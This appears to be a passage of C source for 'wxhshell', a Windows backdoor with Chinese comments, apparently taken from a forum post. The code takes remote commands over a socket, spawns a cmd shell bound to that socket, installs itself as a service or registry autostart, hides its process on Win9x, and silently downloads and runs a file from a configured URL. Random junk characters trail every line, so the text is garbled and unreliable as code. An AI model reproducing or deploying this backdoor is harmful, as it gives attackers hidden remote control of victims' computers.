  else BWd{xP y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x-Cy,d:YX  
  } ~MOab e  
  else { 5,pKv  
:Ur=}@Dj  
    switch(cmd[0]) { ]nEZ Q+F  
  ?\eq!bu  
  // 帮助 v@8 =u4  
  case '?': { n<. T6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }.uB6&!:  
    break; U!0 Qf7D  
  } g7-=kmr|V  
  // 安装 *t,J4c  
  case 'i': { ?2#v`Z=L;  
    if(Install()) K1F,M9 0]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &?-LL{W{  
    else 7xmyjy%c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :n4X>YL)  
    break; :4ndU:.L  
    }  3e<FlH{  
  // 卸载 FzDZ<dJ  
  case 'r': { h7EKb-@  
    if(Uninstall()) 2rr}5i)r|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {APsi7HYBr  
    else m _0D^e7#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v0ng M)^q  
    break; b0~AN#Es  
    } _-vf<QO]  
  // 显示 wxhshell 所在路径 /p=9"?  
  case 'p': { !+E|{Zj  
    char svExeFile[MAX_PATH]; ~}c`r4  
    strcpy(svExeFile,"\n\r"); HhmC+3w.7  
      strcat(svExeFile,ExeFile); &r{.b#7\/A  
        send(wsh,svExeFile,strlen(svExeFile),0); *acN/Ca1  
    break; (Oc[j{6q  
    } R"au8f.  
  // 重启 2hjR'6h"Y  
  case 'b': { 1D,$Az~.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A1zqm_X5)P  
    if(Boot(REBOOT)) HlkG^:)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2^Tj@P7  
    else { T@n-^B!Xq  
    closesocket(wsh); Zl0Kv *S  
    ExitThread(0); nbnbG0r:  
    } z)Y<@2V*C  
    break; &IQp&  
    } $uA?c& e  
  // 关机 )-_NtMr~`!  
  case 'd': { :y?xS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _L6WbRu|  
    if(Boot(SHUTDOWN)) MNE{mV(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^8mF0K&  
    else { X[frL)k]  
    closesocket(wsh); uc% &g  
    ExitThread(0); > n~l\ fC  
    } c !$ 8>  
    break; -XVC,.Ly  
    } hSgfp  
  // 获取shell ZWC-<QO"<  
  case 's': { 6,"fH{Bd  
    CmdShell(wsh); ^lqcF.  
    closesocket(wsh); <p48?+K9  
    ExitThread(0); ~zklrBn&  
    break; +\`D1d@  
  } t|gEMDGa3  
  // 退出 O1@-)<_71  
  case 'x': { ~ caKzq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wAr (5nEbx  
    CloseIt(wsh); ?fog 34g  
    break; &CvNNDgrJ  
    } rf+'U9  
  // 离开 ~RQ6DG^  
  case 'q': { }w \["r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sOSol7n  
    closesocket(wsh); x?J- {6k  
    WSACleanup(); 't$(Ruw  
    exit(1); IT,TSs/Y  
    break; /t-m/&>  
        } RVFQ!0 C  
  } UFxQ-GV4  
  } KzRw)P  
[sC]<2 r  
  // 提示信息 {Gnji] v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w][1C\8m  
} +Y!9)~f}7X  
  } KzeTf?G  
360V  
  return; (C#9/WO?  
} r5b5`f4  
JM5 w`=  
// shell模块句柄 p @@TOS  
int CmdShell(SOCKET sock) G: FP9  
{ D?w?0b Eu  
STARTUPINFO si; `.f<RVk-  
ZeroMemory(&si,sizeof(si)); 3~"G(UP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fF208A7U I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .:tAZZ  
PROCESS_INFORMATION ProcessInfo; )5Ddvz>+  
char cmdline[]="cmd"; A KO#$OJE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n*6b*fl  
  return 0; nXDU8|"  
} <|~8Ezd  
huu:z3{=J  
// 自身启动模式 5Sd+Cc  
int StartFromService(void) qp*C%U  
{ y4aSf2   
typedef struct LL5n{#)N  
{ I_mnXd;n  
  DWORD ExitStatus; j]EeL=H<P  
  DWORD PebBaseAddress; ^Bw2y&nN  
  DWORD AffinityMask; '>AOJ aA  
  DWORD BasePriority; |3f?1:"Z  
  ULONG UniqueProcessId; =6b^j]1  
  ULONG InheritedFromUniqueProcessId; &B uO-  
}   PROCESS_BASIC_INFORMATION; SxLu<  
gc-yUH0I  
PROCNTQSIP NtQueryInformationProcess; #%U5,[<a8  
_tZT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WL4{_X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !/G2vF"  
TI-8I)  
  HANDLE             hProcess; @Otom'O  
  PROCESS_BASIC_INFORMATION pbi; c&.>SR')  
^PIU A'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n7`R+4/s  
  if(NULL == hInst ) return 0; K!6k<  
G(F }o]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q/,>UtRr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 53d8AJ_@X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qvh: hkR  
y^:!]-+  
  if (!NtQueryInformationProcess) return 0; WpE\N0Yg  
7A|n*'[T>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hjywYd]8  
  if(!hProcess) return 0; E(Tvj\9  
&*\wr} a!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e&zZr]vs]l  
4QODuyl2H  
  CloseHandle(hProcess); !6hUTjhW7z  
_,:gSDW|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VSa\X~  
if(hProcess==NULL) return 0; ?sV0T)uk  
s^F6sXhyPi  
HMODULE hMod; W'w;cy:H  
char procName[255]; 1w}%>e-S  
unsigned long cbNeeded; eO#Kn'5  
6m_ fEkS[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ].=&^0cg  
s86Ij>VLf  
  CloseHandle(hProcess); 2Z 4Ekq0@  
OnE#8*8  
if(strstr(procName,"services")) return 1; // 以服务启动 iB1"aE3  
6qQdTp{i  
  return 0; // 注册表启动 [+EmV>Y  
} n46H7e(ej\  
]ovP^]]V  
// 主模块 L=4%MyZ.e  
int StartWxhshell(LPSTR lpCmdLine) Zq7Y('=`t@  
{ 7 sv 3=/`  
  SOCKET wsl; lB9 9J"A  
BOOL val=TRUE; sJ[I<  
  int port=0; U:xY~>  
  struct sockaddr_in door; +jQHf-l  
c3,YA,skb!  
  if(wscfg.ws_autoins) Install(); 4SRX@/ #8*  
R&Y+x;({  
port=atoi(lpCmdLine); . _j9^Ll  
 ,83%18b  
if(port<=0) port=wscfg.ws_port; ?5(Cwy ?  
z+IBy+  
  WSADATA data; {%W'Zx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^]}+ s(  
*#p}>\Y{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T.\=R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;oW#>!HrY  
  door.sin_family = AF_INET; cKt=_4Lf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7M;7jI/C  
  door.sin_port = htons(port); yO\ .dp  
-\C;2&(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]E/^(T-O  
closesocket(wsl); Dy`;]-b6u  
return 1; / i[F  
} C;]}Ht:~I  
lezX-5Z  
  if(listen(wsl,2) == INVALID_SOCKET) { tnL$v2e6q  
closesocket(wsl); v4c*6(m  
return 1; [\eh$r\   
} -I dW-9~9  
  Wxhshell(wsl); Gf``0F)  
  WSACleanup(); BZHba8c(  
)5n*4A  
return 0; V0 70oZ  
BN??3F8C  
} i+rh&,  
]\DZW4?'  
// 以NT服务方式启动 4mYJi#e6x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9Z, K  
{ Msj(>U&}+  
DWORD   status = 0; Sep/N"7~t  
  DWORD   specificError = 0xfffffff; w)}' {]P"c  
/G*]3=cSe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >1luLp/,$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;ED` 7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JmlMfMpXMs  
  serviceStatus.dwWin32ExitCode     = 0; /j%(Z/RM  
  serviceStatus.dwServiceSpecificExitCode = 0; 5dwC~vn}c  
  serviceStatus.dwCheckPoint       = 0; Lg6;FbY?  
  serviceStatus.dwWaitHint       = 0; eO7 )LM4  
8zhr;Srt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w)xiiO[  
  if (hServiceStatusHandle==0) return; L>xecep  
g~ubivl2  
status = GetLastError(); T$ w`=7  
  if (status!=NO_ERROR) ))M!"*  
{ \N3A2L)l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \PU7,*2  
    serviceStatus.dwCheckPoint       = 0; 2h=QJgpCG  
    serviceStatus.dwWaitHint       = 0; Z'hHXSXM  
    serviceStatus.dwWin32ExitCode     = status; !q]@/<=  
    serviceStatus.dwServiceSpecificExitCode = specificError; {,;R\)8D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Kg-ZDK8  
    return; p;nRxi7'  
  } Bh<DqN  
_m0B6?KJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ht`kmk;I)  
  serviceStatus.dwCheckPoint       = 0;  ylTX  
  serviceStatus.dwWaitHint       = 0; r@WfZ  Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]*/%5ZOI&  
} sKu/VAh x  
+g.lLb*#  
// 处理NT服务事件,比如:启动、停止 * I)F5M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GpwoS1#)0|  
{ /Py1Q  
switch(fdwControl) /7[U J'  
{ >~+qU&'2  
case SERVICE_CONTROL_STOP: $X\deJ1Hi  
  serviceStatus.dwWin32ExitCode = 0; *WzvPl$e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @O]v.<8  
  serviceStatus.dwCheckPoint   = 0; "+dByaY  
  serviceStatus.dwWaitHint     = 0; - K%hug  
  { |[+/ ]Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NC @L,)F  
  } ^uCZO  
  return; -d+o\qp"#  
case SERVICE_CONTROL_PAUSE: d U}kimz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I9VU,8~  
  break; @1c[<3xJ T  
case SERVICE_CONTROL_CONTINUE: g.,_E4L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q0t}  
  break; Ea<kc[Q  
case SERVICE_CONTROL_INTERROGATE: q$iGeE#  
  break; tDWoQ&z2t_  
}; P >>VBh?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $R&K-;D/8  
} v?O6|0#x  
GS)4,.  
// 标准应用程序主函数 c9/&A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %96l(JlJ)B  
{ |~]@hs~  
jA' 7@/F/  
// 获取操作系统版本 Bx" eX>A8  
OsIsNt=GetOsVer(); ` zoC++hx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z%4w{T+[  
,v@C=4'm  
  // 从命令行安装 P9yg  
  if(strpbrk(lpCmdLine,"iI")) Install(); n=iL6Yu(  
=zsA@UM0  
  // 下载执行文件 EK 8rV  
if(wscfg.ws_downexe) { &x.n>O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YQ$Wif:@(n  
  WinExec(wscfg.ws_filenam,SW_HIDE); eeM$c`Y<  
} YiGSFg  
c,L{Qv"n{  
if(!OsIsNt) { A7enC,Ey  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^| r6>b  
HideProc(); _C4N6YdU  
StartWxhshell(lpCmdLine); |!6<L_31%  
} .~AQxsGH  
else QLLMSa+! \  
  if(StartFromService()) T*1`MIkv  
  // 以服务方式启动 (k$KUP  
  StartServiceCtrlDispatcher(DispatchTable); o,yZ1"  
else /D~MHO{  
  // 普通方式启动 ir<K"wi(2  
  StartWxhshell(lpCmdLine); 0\KDa$ '1k  
&6O0h0Vy  
return 0; \Y$@$)   
}
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只看该作者 1 发表于: 2006-10-10
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